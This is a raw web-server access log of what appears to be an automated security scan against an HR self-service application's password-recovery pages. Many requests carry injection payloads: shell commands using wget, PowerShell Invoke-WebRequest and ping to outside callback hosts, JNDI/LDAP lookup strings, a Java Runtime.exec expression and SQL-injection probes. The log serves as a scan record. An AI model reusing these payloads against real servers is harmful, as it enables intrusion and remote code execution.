"http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-61-d981dc33-74ab-4d8b-b28e-94b413d91117.adns.appsechcl.com%27%29%7D&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ping+-c+1+v3-ping-61-d981dc33-74ab-4d8b-b28e-94b413d91117.adns.appsechcl.com%27%29%7D&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/redirect.php?scriptname=WF%27SQL%22Probe%3BA--B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/redirect.php?scriptname=WF%27SQL%22Probe%3BA--B&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=WF%27SQL%22Probe%3BA--B&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:04 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B HTTP/1.1" 200 6677 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%3B HTTP/1.1" 200 6677 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D64&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D64&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php%22%27Aablcprobepa000007ab%27%22A" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php%22%27Aablcprobepa000009ab%27%22A" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D66&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D66&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ping+-c+1+v3-ping-67-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=ping+-c+1+v3-ping-67-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+having+1%3D1--+ HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27+having+1%3D1--+ HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=${jndi:ldap://v3-ping-68-e69ce741-1f75-460d-92a7-d1911f7e10b4.adns.appsechcl.com/foo}&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=${jndi:ldap://v3-ping-68-e69ce741-1f75-460d-92a7-d1911f7e10b4.adns.appsechcl.com/foo}&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D69&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%3B+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D69&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D71&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D71&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php%22%27Aablcprobepa000007ab%27%22A" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:06 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26+ping+-c+1+v3-ping-72-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd+%26+ping+-c+1+v3-ping-72-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 "http://hcp.maglayers.com.cn:8088/ehr/ess/includes/login.php%22%27Aablcprobepa000009ab%27%22A" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/index.php?loginerror=Attack+error. HTTP/1.1" 200 9169 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%3BSELECT+1%3B HTTP/1.1" 200 6691 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%3BSELECT+1%3B HTTP/1.1" 200 6691 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/img/error.png HTTP/1.1" 200 701 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php?loginerror=Attack+error." "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/img/error.png HTTP/1.1" 200 701 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-74-e69ce741-1f75-460d-92a7-d1911f7e10b4.adns.appsechcl.com%2Ffoo%7D&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-74-e69ce741-1f75-460d-92a7-d1911f7e10b4.adns.appsechcl.com%2Ffoo%7D&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:08 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 396 100.64.0.1 - - 